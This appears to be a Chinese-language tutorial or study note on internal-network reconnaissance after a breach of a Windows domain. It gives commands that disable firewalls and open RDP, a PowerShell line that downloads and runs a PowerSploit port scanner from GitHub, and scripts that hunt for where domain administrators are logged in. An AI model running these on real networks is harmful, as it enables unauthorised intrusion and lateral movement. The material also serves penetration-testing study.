进入内网后,需要先判断以下两个方面:
1、我是谁:本机在域内的角色
2、这是哪:本机当前所在的网络环境的拓扑结构
3、我在哪:本机在内网环境中所处的位置
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"
wmic product get name,version
powershell "Get-WmiObject -class Win32_Product | Select-Object -Property name,version"
tasklist /svc
wmic process list brief
wmic startup get command,caption
systeminfo | findstr /c:"修补程序"
wmic qfe get Caption,Description,HotFixID,InstalledOn
net share
wmic share get name,path,status
windows server 2003及之前:
netsh firewall set opmode disable
windows server 2003之后:
netsh advfirewall set allprofiles state off
windows server 2003及之前的版本允许指定程序全部链接:
netsh firewall add allowdprogram c:\nc.exe "allow nc" enable
windows server 2003之后:
netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="c:\nc.exe"
允许指定程序退出
netsh advfirewall firewall add rule name="allow nc" dir=out action=allow program="c:\nc.exe"
允许3389端口放行
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
netsh advfirewall set currentprofile logging filename "c:\windows\temp\fw.log"
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber
wmic path win32_terminalservicesetting where (__CLASS !="") call
wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1
wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName='RDP-Tcp') call setuserauthenticationrequired 1
reg add "HKLM\SYSTEM\CURRENT\CONTROLSET\CONTROL\TERMINAL SERVER" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
for /f "delims=" %%A in ('dir /s /b %WINDIR%\system32\*htable.xsl') do set "var=%%A"
wmic process get CSName,Description,ExecutablePath,ProcessId /format:"%var%" >> out.html
wmic service get Caption,Name,PathName,ServiceType,Started,StartMode,StartName /format:"%var%" >> out.html
wmic USERACCOUNT list full /format:"%var%" >> out.html
wmic group list full /format:"%var%" >> out.html
wmic nicconfig where IPEnabled='true' get Caption,DefaultIPGateway,Description,DHCPEnabled,DHCPServer,IPAddress,IPSubnet,MACAddress /format:"%var%" >> out.html
wmic volume get Label,DeviceID,DriveLetter,FileSystem,Capacity,FreeSpace /format:"%var%" >> out.html
wmic netuse list full /format:"%var%" >> out.html
wmic qfe get Caption,Description,HotFixID,InstalledOn /format:"%var%" >> out.html
wmic startup get Caption,Command,Location,User /format:"%var%" >> out.html
wmic PRODUCT get Description,InstallDate,InstallLocation,PackageCache,Vendor,Version /format:"%var%" >> out.html
wmic os get name,version,InstallDate,LastBootUpTime,LocalDateTime,Manufacturer,RegisteredUser,ServicePackMajorVersion,SystemDirectory /format:"%var%" >> out.html
wmic Timezone get DaylightName,Description,StandardName /format:"%var%" >> out.html
net user xxx /domain
ipconfig /all
若存在域,则有主DNS后缀
通过
nslookup DNS后缀
来解析域名的IP地址
net config workstation
,可以看到,当工作站域为WORKGROUP时为非域环境
net time /domain
(域服务器通常会同时作为时间服务器使用)
不存在域,当前环境为工作组
存在域,但当前用户不是域用户,则会发生系统错误 5。
,若存在域则会显示出时间。
NetBIOS是计算机的标识名,主要用于局域网中计算机的互访,其工作流程是正常的机器名解析查询应答的过程。nbtscan是一个用于扫描本地或远程TCP/IP网络上开放的NetBIOS名称服务器。
利用NetBIOS快速探测内网:
nbt.exe 10.101.17.12/24
Token | 含义 |
---|---|
SHARING | 该机器中存在正在运行的文件和打印共享服务,但不一定有内容共享 |
DC | 该机器可能是域控制器 |
U=USER | 该机器中有登录名为User的用户(不太准确) |
IIS | 该机器中可能安装可IIS服务器 |
EXCHANGE | 该机器中可能安装了Exchange |
NOTES | 该机器中可能安装了Lotus Notes电子邮件客户端 |
? | 没有识别出该机器的NetBIOS资源(可以使用-F再次扫描) |
使用循环命令探测整个C段:
for /L %I in (1,1,254) DO @ping -w 1 -n 1 10.101.171.%I | findstr "TTL="
使用vbs脚本进行探测:
strSubNet = "10.101.17."
Set objFSO= CreateObject("Scripting.FileSystemObject")
Set objTS = objfso.CreateTextFile("C:\Windows\Temp\Result.txt")
For i = 1 To 254
strComputer = strSubNet & i
blnResult = Ping(strComputer)
If blnResult = True Then
objTS.WriteLine strComputer & " is alive ! :) "
End If
Next
objTS.Close
WScript.Echo " All Ping scan, All Done!) "
Function Ping(strComputer)
Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
Set colItems = objWMIService.ExecQuery("Select * From Win32_PingStatus Where Address='" & strComputer & "'")
For Each objItem In colItems
Select case objItem.StatusCode
Case 0
Ping = True
Case Else
Ping = False
End select
Exit For
Next
End Function
arp.exe -t 10.101.17.0/24
usemodule situational_awareness/network/arpscan
powershell -exec bypass -Command "& {Import-Module C:\Users\Administrator\Desktop\Invoke-ARPScan.ps1; Invoke-ARPScan -CIDR 10.101.17.0/24}" >> C:\Users\Administrator\Desktop\Result.txt
ScanLine是一款经典的端口扫描工具,可在windows下运行,支持TCP/UDP扫描
scanline.exe -h -t 22,80-89,110,389,1099,1433,2059,6379,7001,8080,1521,3306,3389,5432 -u 53,161,137,139 -O C:\Users\Administrator\Desktop\log.txt -p 10.101.17.1-254
使用auxiliary/scanner/portscan/tcp
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/Invoke-Portscan.ps1');Invoke-Portscan -Hosts 192.168.1.0/24 -T 4 -ports '445,1433,8080,3389,80' -oA c:\user\administrator\desktop\res.txt"
- StartAddress:起始地址
- EndAddress:结束地址
- ScanPort:进行端口扫描
- Port:指定扫描端口
- Timeout:设置超时时间
使用以下命令进行搜索存活主机并解析主机域名
Invoke-PortScan -StartAddress 192.168.1.1 -EndAddress 192.168.1.3 -ResolveHost
import optparse
from socket import *
from threading import *
screenlock = Semaphore(value=1)
def Scan(targetHost, targetPort):
try:
simplesocket = socket(AF_INET, SOCK_STREAM)
simplesocket.connect((targetHost, targetPort))
simplesocket.send('scanscan\r\n'.encode())
results = simplesocket.recv(100)
screenlock.acquire()
print('[+] %d/tcp open'% targetPort+' '+str(results))
except:
screenlock.acquire()
finally:
screenlock.release()
simplesocket.close()
def portScan(targetHost):
try:
targetIP = gethostbyname(targetHost)
except:
print("[-] Cannot resolve '%s': Unknown host"%targetHost)
return
try:
targetname = gethostbyaddr(targetIP)
print("\n[+] Scan Results for: "+targetname[0])
except:
print("\n[+] Scan Results for: "+targetIP)
setdefaulttimeout(1)
for targetPort in range(1,100):
t = Thread(target=Scan, args=(targetHost, int(targetPort)))
t.start()
def main():
parser = optparse.OptionParser('%prog '+'-H ' )
parser.add_option('-H', dest='targetHost', type='string', help='specify target host')
(options, args) = parser.parse_args()
targetHost = options.targetHost
if (targetHost == None):
print(parser.usage)
exit(0)
portScan(targetHost)
if (__name__ == "__main__"):
main()
端口号 | 端口说明 | 使用说明 |
---|---|---|
21、22、69 | FTP/TFTP文件传输协议 | 允许匿名的上传、下载爆破和嗅探操作 |
2049 | NFS服务 | 配置不当 |
139 | SAMBA服务 | 爆破、未授权访问、远程代码执行 |
389 | LDAP目录访问协议 | 注入、允许匿名访问、弱口令 |
远程连接服务端口
端口号 | 端口说明 | 使用说明 |
---|---|---|
22 | SSH远程连接 | 爆破、SSH隧道及内网代理转发、文件传输 |
23 | Telnet远程连接 | 爆破、嗅探、弱口令 |
3389 | RDP远程桌面连接 | Shift后门(Windows Server 2003以下版本)、爆破 |
5900 | VNC | 弱口令爆破 |
5632 | PcAnywhere服务 | 抓取密码、代码执行 |
80、443、8080 | 常见的Web服务端口 | Web攻击、爆破、对应服务器版本漏洞 |
7001、7002 | Weblogic控制台 | Java反序列化、弱口令 |
8080、8089 | JBoss/Resin/Jetty/Jenkins | 反序列化、控制台弱口令 |
9090 | WebSphere控制台 | Java反序列化、弱口令 |
4848 | GlassFish控制台 | 弱口令 |
1352 | Lotus Domino邮件服务 | 弱口令、信息泄露、爆破 |
10000 | webmin控制面板 | 弱口令 |
数据库服务端口
端口号 | 端口说明 | 使用说明 |
---|---|---|
3306 | MySQL数据库 | 注入、提权、爆破 |
1433 | MSSQL数据库 | 注入、提权、SA弱口令、爆破 |
1521 | Oracle数据库 | TNS爆破、注入、反弹Shell |
5432 | PostgreSQL数据库 | 爆破、注入、弱口令 |
27017、27018 | MongoDB数据库 | 爆破、未授权访问 |
6379 | Redis数据库 | 未授权访问、弱口令 |
5000 | Sysbase/DB2数据库 | 爆破、注入 |
邮件服务器端口
端口号 | 端口说明 | 使用说明 |
---|---|---|
25 | SMTP邮件服务 | 邮件伪造 |
110 | POP3协议 | 爆破、嗅探 |
143 | IMAP协议 | 爆破 |
网络常见协议端口
端口号 | 端口说明 | 使用说明 |
---|---|---|
53 | DNS域名系统 | 允许区域传送、DNS劫持、缓存投毒、欺骗 |
67、68 | DHCP服务 | 劫持、欺骗 |
161 | SNMP协议 | 爆破、搜集目标内网信息 |
特殊服务端口
端口号 | 端口说明 | 使用说明 |
---|---|---|
2181 | ZooKeeper服务 | 未授权访问 |
8069 | Zabbix服务 | 远程执行、SQL注入 |
9200、9300 | Elasticsearch服务 | 远程执行 |
11211 | Memchached服务 | 未授权访问 |
512、513、514 | Linux rexec服务 | 爆破、远程登录 |
873 | rsync服务 | 匿名访问、文件上传 |
3690 | SVN服务 | svn泄露、未授权访问 |
50000 | SAP Management Console | 远程执行 |
net group "domain computers" /domain
在实际情况中,一个域内一般存在两台或以上的域控制器,其目的是:一旦主域控制器发生故障,备用的域控制器可以保证域内的服务和验证工作正常运行
net group "domain controllers" /domain
netdom query pdc
可以看到域控制器
常用的dsquery命令 | 作用 |
---|---|
dsquery computer | 查找目录中的计算机 |
dsquery contact | 查找目录中的联系人 |
dsquery subnet | 查找目录 |
dsquery group | 查找目录中的组 |
dsquery ou | 查找目录中的组织单位 |
dsquery site | 查找目录中的站点 |
dsquery server | 查找目录中的AD DC/LDS实例 |
dsquery user | 查找目录中的用户 |
dsquery quota | 查找目录中的配额规定 |
dsquery partition | 查找目录中的分区 |
dsquery * | 用通用的LDAP查询来查找目录中的任何对象 |
net group "domain admins" /domain
net group "Enterprise Admins" /domain
定位域管理员的常规方法是通过日志或会话,日志是本地机器的管理员日志,可以使用脚本或Wevtutil工具导出并查看。会话是指域内每台机器的登录会话,可以使用netsess.exe或PowerView等工具查询(可以匿名查询,不需要权限)
在Windows上可以执行net session
来查看谁使用了本机资源,但是没有命令可用来查看谁在使用了远程计算机资源,谁登陆了远程计算机资源,使用psloggedon可以解决这一问题。psloggedon会搜索网上邻居中的计算机,并显示用户是否登录,其原理是通过检查注册表HKEY_USERS项的key值来查询谁登陆过(需要调用NetSessionEnum API),但某些功能需要管理员权限才能使用。
psloggedon [- ] [-l] [-x] [\\computername | username]
参数 | 描述 |
---|---|
– | 显示支持的选项和用于输出值的度量单位。 |
-l | 仅显示本地登录,而不显示本地和网络资源登录。 |
-X | 不显示登录时间。 |
\computername | 指定要为其列出登录信息的计算机的名称。 |
username | 如果指定用户名,则PsLoggedOn将在网络中搜索该用户已登录的计算机。如果要确保要更改特定用户的用户配置文件时未登录该用 |
用于查找活动目录用户登录位置,枚举域用户,查找在特定计算机上登录的用户,包括本地用户,通过RDP登录的用户,用于运行服务和计划任务的用户。运行该工具需要.NET Framework2.0环境,并且具备管理员权限。
PVEFindADUser.exe --current
https://github.com/mubix/netview
使用WinAPI枚举系统,利用NetSessionEnum找寻登录会话,利用NetShareEnum找寻共享,利用NetWkstaUserEnum枚举登录的用户。大部分功能不需要管理员权限。
参数 | 描述 |
---|---|
-h | 显示此帮助菜单 |
-f filename.txt | 指定一个文件以从中提取主机列表 |
-e filename.txt | 指定要排除的主机名文件 |
-o filename.txt | 输出到文件而不是STDOUT |
-d domain | 指定要从中拉出主机列表的域,如果未指定,则使用当前域 |
-g group | 指定用于用户搜寻的组名,如果未指定,则使用“域管理员” |
-c | 检查找到的共享以进行读取访问 |
https://svn.nmap.org/nmap/scripts/smb-enum-sessions.nse
powershell -exec bypass -Command"& {Import-Module c:\powerview.ps1; Invoke-UserHunter}"
net group "Domain Admins" /domain
net group "Domain Controllers" /domain
net group "Domain Admins" /domain
这里可以使用GDA工具来完成
https://github.com/nullbind/Other-Projects/tree/master/GDA
收集域管理员列表后,将目标域系统添加到ips.txt中,将收集的域管理员添加到names.txt中,运行如下脚本:
for /F %i in (ips.txt) do @echo [+] %i && @tasklist /V /S %i /U user /P password 2>NUL >output.txt && for /F %n in (names.txt) do @type output.txt | findstr %n > NUL && echo [!] %n was found running a process on %i &&pause
output.txt
扫描远程系统活跃域中的管理会话的脚本:
for /F %i in (ips.txt) do @echo [+]Checking %i && nbtstat -A %i 2>NUL >nbsessions.txt && for /F %n in (names.txt) do @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i
Powershell的四种权限
Get-ExecutionPolicy
查看权限Set-ExecutionPolicy UnRestricted
修改权限Import-Module .\PowerView.ps1
导入脚本